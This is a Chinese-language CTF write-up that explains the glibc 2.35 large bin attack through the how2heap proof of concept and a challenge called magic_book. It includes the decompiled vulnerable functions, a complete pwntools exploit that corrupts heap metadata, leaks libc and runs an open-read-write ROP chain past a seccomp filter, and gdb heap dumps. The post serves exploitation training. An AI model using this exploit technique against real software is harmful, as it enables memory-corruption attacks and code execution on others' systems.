从DAS暑期挑战赛的一道题来理解largebinattack的攻击流程
柳贯一 发表于 江西 二进制安全 137浏览 · 2024-11-27 10:27

Largebin_attack

最近填一下以前的陈年老坑

这篇文章我主要分享的是2.35版本下的Large_bin_attack

how2heap中的源码

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

    if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
        fwd = bck;
        bck = bck->bk;
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    }


*/

int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);

  printf("\n\n");
  printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
  printf("Check 1 : \n");
  printf(">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
  printf("Check 2 : \n");
  printf(">    if (bck->fd != fwd)\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
  printf("This prevents the traditional large bin attack\n");
  printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");

  printf("====================================================================\n\n");

  size_t target = 0;
  printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
  size_t *p1 = malloc(0x428);
  printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
  size_t *g1 = malloc(0x18);
  printf("And another chunk to prevent consolidate\n");

  printf("\n");

  size_t *p2 = malloc(0x418);
  printf("We also allocate a second large chunk [p2]  (%p).\n",p2-2);
  printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
  size_t *g2 = malloc(0x18);
  printf("Once again, allocate a guard chunk to prevent consolidate\n");

  printf("\n");

  free(p1);
  printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
  size_t *g3 = malloc(0x438);
  printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

  printf("\n");

  free(p2);
  printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
  printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
  printf("               and one chunk in unsorted bin [p2] (%p)\n",p2-2);

  printf("\n");

  p1[3] = (size_t)((&target)-4);
  printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

  printf("\n");

  size_t *g4 = malloc(0x438);
  printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
  printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
  printf("  the modified p1->bk_nextsize does not trigger any error\n");
  printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

  printf("\n");

  printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
  printf("Target (%p) : %p\n",&target,(size_t*)target);

  printf("\n");
  printf("====================================================================\n\n");

  assert((size_t)(p2-2) == target);

  return 0;
}

运行结果

Since glibc2.30, two new checks have been enforced on large bin chunk insertion

Check 1 : 
>    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
>        malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
Check 2 : 
>    if (bck->fd != fwd)
>        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

This prevents the traditional large bin attack
However, there is still one possible path to trigger large bin attack. The PoC is shown below : 

====================================================================

Here is the target we want to overwrite (0x7ffc110e5638) : 0

First, we allocate a large chunk [p1] (0x1b1a290)
And another chunk to prevent consolidate

We also allocate a second large chunk [p2]  (0x1b1a6e0).
This chunk should be smaller than [p1] and belong to the same large bin.
Once again, allocate a guard chunk to prevent consolidate

Free the larger of the two --> [p1] (0x1b1a290)
Allocate a chunk larger than [p1] to insert [p1] into large bin

Free the smaller of the two --> [p2] (0x1b1a6e0)
At this point, we have one chunk in large bin [p1] (0x1b1a290),
               and one chunk in unsorted bin [p2] (0x1b1a6e0)

Now modify the p1->bk_nextsize to [target-0x20] (0x7ffc110e5618)

Finally, allocate another chunk larger than [p2] (0x1b1a6e0) to place [p2] (0x1b1a6e0) into large bin
Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,
  the modified p1->bk_nextsize does not trigger any error
Upon inserting [p2] (0x1b1a6e0) into largebin, [p1](0x1b1a290)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (0x1b1a6e0)

In our case here, target is now overwritten to address of [p2] (0x1b1a6e0), [target] (0x1b1a6e0)
Target (0x7ffc110e5638) : 0x1b1a6e0

====================================================================

简化运行结果

  1. 分配至少三个chunk,并分别标号为0 1 2,其中1号chunk用于分隔0和2chunk防止合并,chunk0要比chunk2大
  2. 并且chunk0和chunk2的大小要达到一定的值保证他们被free时会被放到largebin中
  3. 分配之后释放掉chunk0,然后分配一个大小大于chunk0的chunk,来把chunk0放到largebin中
  4. 然后释放掉chunk2,我们就在largebin和unsortedbin中各有一个chunk,分别是chunk0和chunk2
  5. 利用其他漏洞把chunk0的bk_nextsize修改成target-0x20,此时再分配大于chunk2的chunk,把chunk2放到largebin中
  6. 由于在新插入chunk到largebin并且新插入的chunk小于当前链表中的最小chunk时,glibc不会检查chunk的bk_nextsize指针,所以我们就可以把chunk2也就是新插入chunk的地址写到target处

作用:

和低版本的unsortedbin attack一样,能够把一个较大的值写入到我们想要的地方,可以用于以下攻击:

  • house of banana
  • house of apple系列
  • tcache_mp结构体攻击
  • 以及其他的一些攻击

题目分析:

题目来源于buuctf2024七月暑期挑战赛的magic_book

我们来看看ida反编译出的伪代码:

主函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  sandbox();
  menu1();
  dest = malloc(0x100uLL);
  while ( 1 )
  {
    book = (unsigned __int16)book;
    menu2();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          edit_the_book();
          break;
        case 1:
          creat_the_book();
          break;
        case 2:
          delete_the_book();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

存在沙箱保护

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  return seccomp_load(v1);
}

禁用了59号系统调用也就是execve,只能打orw或者是其他打法

menu1就是菜单函数,

edit函数

void *edit_the_book()
{
  size_t v0; // rax
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("come on,Write down your story!");
  read(0, buf, book);
  v0 = strlen(buf);
  return memcpy(dest, buf, v0);
}

edit是输入之后的内容拷贝到dest里面,输入的大小是dest,由此存在栈溢出漏洞,可以控制执行流,不用打IO

create

size_t creat_the_book()
{
  size_t v0; // rbx
  size_t size[2]; // [rsp+Ch] [rbp-14h] BYREF

  if ( book > 5 )
  {
    puts("full!!");
    exit(0);
  }
  printf("the book index is %d\n", book);
  puts("How many pages does your book need?");
  LODWORD(size[0]) = 0;
  __isoc99_scanf("%u", size);
  if ( LODWORD(size[0]) > 0x500 )
  {
    puts("wrong!!");
    exit(0);
  }
  v0 = book;
  p[v0] = malloc(LODWORD(size[0]));
  return ++book;
}

create函数里面限定了只能申请6个chunk,限制了很多打法

delete函数

__int64 delete_the_book()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  puts("which book would you want to delete?");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 5 || !p[v2] )
  {
    puts("wrong!!");
    exit(0);
  }
  free((void *)p[v2]);
  puts("Do you want to say anything else before being deleted?(y/n)");
  read(0, buf, 4uLL);
  if ( d && (buf[0] == 'Y' || buf[0] == 'y') )
  {
    puts("which page do you want to write?");
    __isoc99_scanf("%u", &v1);
    if ( v1 > 4 || !p[v2] )
    {
      puts("wrong!!");
      exit(0);
    }
    puts("content: ");
    read(0, (void *)(p[v1] + 8LL), 0x18uLL);
    --d;
    return 0LL;
  }
  else
  {
    if ( d )
      puts("ok!");
    else
      puts("no ways!!");
    return 0LL;
  }
}

delete函数存在uaf漏洞,使得我们能够写入到free_chunk的0x8-0x20处的内容,刚好可以覆盖到bk_nextsize

明显的可以打largebin_attack来修改book变量的大小为较大值,从而通过栈溢出控制执行流

EXP

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
fn='./pwn'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
eir = 0
if eir == 1:
    p=remote("48.218.22.35",10000)
elif eir == 0:
    p=process(fn)
elf=ELF(fn)

def open_gdb_terminal():
    pid = p.pid
    gdb_cmd = f"gdb -ex 'attach {pid}' -ex 'set height 0' -ex 'set width 0'"
    subprocess.Popen(["gnome-terminal", "--geometry=120x64+0+0", "--", "bash", "-c", f"{gdb_cmd}; exec bash"])

def dbg():
    open_gdb_terminal()
    pause()

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ita = lambda : p.interactive()
pt = lambda s : print(hex(s))
ru("give you a gift: ")
leak=int(p.recv(14),16)
print("heap_leak>>>>>"+hex(leak))
target_addr=leak+0x40

def u6():
    return u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

def menu(idx):
    sla("Your choice:",str(idx))

def add(size):
    menu(1)
    sla("How many pages does your book need?",str(size))


def dele1(idx):
    menu(2)
    sla("which book would you want to delete?",str(idx))
    sla("Do you want to say anything else before being deleted?(y/n)","n")


def dele2(idx,target_idx,content):
    menu(2)
    sla("which book would you want to delete?",str(idx))
    sla("Do you want to say anything else before being deleted?(y/n)","y")
    sla("which page do you want to write?",str(target_idx))
    sa("content: ",content)


def edit(content):
    menu(3)
    sa("come on,Write down your story!",content)

'''
Gadgets information
============================================================
0x000000000000185c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001860 : pop r14 ; pop r15 ; ret
0x0000000000001862 : pop r15 ; ret
0x000000000000185b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000000012b3 : pop rbp ; ret
0x0000000000001430 : pop rbx ; pop rbp ; ret
0x0000000000001863 : pop rdi ; ret
0x0000000000001861 : pop rsi ; pop r15 ; ret
0x000000000000185d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000101a : ret
0x000000000000161f : ret 0x8b48
0x000000000000174a : ret 0xfffb
p64(rdi)+p64(base+elf.got['puts'])+p64(base+elf.plt['puts'])
'''

add(0x450)#0
add(0x98)#1
add(0x430)#2
add(0x98)#3
dele1(0)
add(0x460)#4
dele2(2,0,b'a'*0x10+p64(target_addr-0x20))
add(0x460)
print("target_addr>>>>"+hex(target_addr))
base=leak-0x4010
main=base+0x172e
rdi=base+0x1863
#dbg()
edit(b'a'*0x28+p64(rdi)+p64(base+elf.got['puts'])+p64(base+elf.plt['puts'])+p64(base+0x15e1))
puts_real=u6()
print(hex(puts_real))
libc_base=puts_real-libc.sym['puts']
readd=libc_base+libc.sym['read']
writee=libc_base+libc.sym['write']
openn=libc_base+libc.sym['open']
rsi=libc_base+0x000000000002be51
rdx=libc_base+0x0000000000090529#pop rdx r12
#dbg()
orw=b'a'*0x28+p64(rdi)+p64(0)+p64(rsi)+p64(base+0x4090)+p64(rdx)+p64(0x100)*2+p64(readd)
orw+=p64(rdi)+p64(base+0x4090)+p64(rsi)+p64(0)+p64(rdx)+p64(0)*2+p64(openn)
orw+=p64(rdi)+p64(3)+p64(rsi)+p64(base+0x4090)+p64(rdx)+p64(0x100)*2+p64(readd)
orw+=p64(rdi)+p64(1)+p64(rsi)+p64(base+0x4090)+p64(rdx)+p64(0x100)*2+p64(writee)
dbg()
sd(orw)
sd(b'/flag\x00')

ita()

EXP分析

我们主要分析一下largebin_attack部分

也就是下面的部分

add(0x450)#0
add(0x98)#1
add(0x430)#2
add(0x98)#3
dele1(0)
add(0x460)#4
dele2(2,0,b'a'*0x10+p64(target_addr-0x20))

按照我们之前的构造方法进行构造,来gdb调试一下

Allocated chunk | PREV_INUSE
Addr: 0x55e390b08fa0
Size: 0x110 (with flag bits: 0x111)

Allocated chunk | PREV_INUSE
Addr: 0x55e390b090b0
Size: 0x460 (with flag bits: 0x461)

Allocated chunk | PREV_INUSE
Addr: 0x55e390b09510
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x55e390b095b0
Size: 0x440 (with flag bits: 0x441)

Allocated chunk | PREV_INUSE
Addr: 0x55e390b099f0
Size: 0xa0 (with flag bits: 0xa1)

Top chunk | PREV_INUSE
Addr: 0x55e390b09a90
Size: 0x1f570 (with flag bits: 0x1f571)

pwndbg>

构造的chunk数量没有问题,


上面的那些chunk是由于开启了沙箱保护而产生的,不必理会

此时我们free掉chunk0,并且不做修改,gdb看看chunk0是否会进入largebin中

Free chunk (largebins) | PREV_INUSE
Addr: 0x55e390b090b0
Size: 0x460 (with flag bits: 0x461)
fd: 0x7fcfe675d0e0
bk: 0x7fcfe675d0e0
fd_nextsize: 0x55e390b090b0
bk_nextsize: 0x55e390b090b0

Allocated chunk
Addr: 0x55e390b09510
Size: 0xa0 (with flag bits: 0xa0)

Allocated chunk | PREV_INUSE
Addr: 0x55e390b095b0
Size: 0x440 (with flag bits: 0x441)

Allocated chunk | PREV_INUSE
Addr: 0x55e390b099f0
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x55e390b09a90
Size: 0x470 (with flag bits: 0x471)

Top chunk | PREV_INUSE
Addr: 0x55e390b09f00
Size: 0x1f100 (with flag bits: 0x1f101)

pwndbg>

结合pwndbg调试可以看到确实是进入到了largebin中,倘若程序中有uaf和show的功能时,我们可以通过largebin直接泄露出libc和heap_base,十分方便

下面我们free掉chunk2并且把chunk0的bk_nextsize指针指向book-0x20再申请一个大小大于chunk2的chunk看看

Free chunk (largebins) | PREV_INUSE
Addr: 0x55e390b090b0
Size: 0x460 (with flag bits: 0x461)
fd: 0x55e390b095b0
bk: 0x6161616161616161
fd_nextsize: 0x6161616161616161
bk_nextsize: 0x55e390b095b0

Allocated chunk
Addr: 0x55e390b09510
Size: 0xa0 (with flag bits: 0xa0)

Free chunk (largebins) | PREV_INUSE
Addr: 0x55e390b095b0
Size: 0x440 (with flag bits: 0x441)
fd: 0x7fcfe675d0e0
bk: 0x55e390b090b0
fd_nextsize: 0x55e390b090b0
bk_nextsize: 0x55e38ad17030

Allocated chunk
Addr: 0x55e390b099f0
Size: 0xa0 (with flag bits: 0xa0)

Allocated chunk | PREV_INUSE
Addr: 0x55e390b09a90
Size: 0x470 (with flag bits: 0x471)

Allocated chunk | PREV_INUSE
Addr: 0x55e390b09f00
Size: 0x470 (with flag bits: 0x471)

Top chunk | PREV_INUSE
Addr: 0x55e390b0a370
Size: 0x1ec90 (with flag bits: 0x1ec91)
pwndbg> tele 0x55e38ad17000+0x50
00:0000│  0x55e38ad17050 (book) ◂— 0x95b1
01:0008│  0x55e38ad17058 ◂— 0x0
02:0010│  0x55e38ad17060 (p) —▸ 0x55e390b090c0 —▸ 0x55e390b095b0 ◂— 0x0
03:0018│  0x55e38ad17068 (p+8) —▸ 0x55e390b09520 ◂— 0x0
04:0020│  0x55e38ad17070 (p+16) —▸ 0x55e390b095c0 —▸ 0x7fcfe675d0e0 (main_arena+1120) —▸ 0x7fcfe675d0d0 (main_arena+1104) —▸ 0x7fcfe675d0c0 (main_arena+1088) ◂— ...
05:0028│  0x55e38ad17078 (p+24) —▸ 0x55e390b09a00 ◂— 0x0
06:0030│  0x55e38ad17080 (p+32) —▸ 0x55e390b09aa0 ◂— 0x0
07:0038│  0x55e38ad17088 (p+40) —▸ 0x55e390b09f10 ◂— 0x0

可以看到chunk2也进入了largebin中,并且book的值也被修改为了chunk2地址的低位,largebin_attack
剩下的就是打orw了,不做过多赘述

0 条评论
某人
表情
可输入 255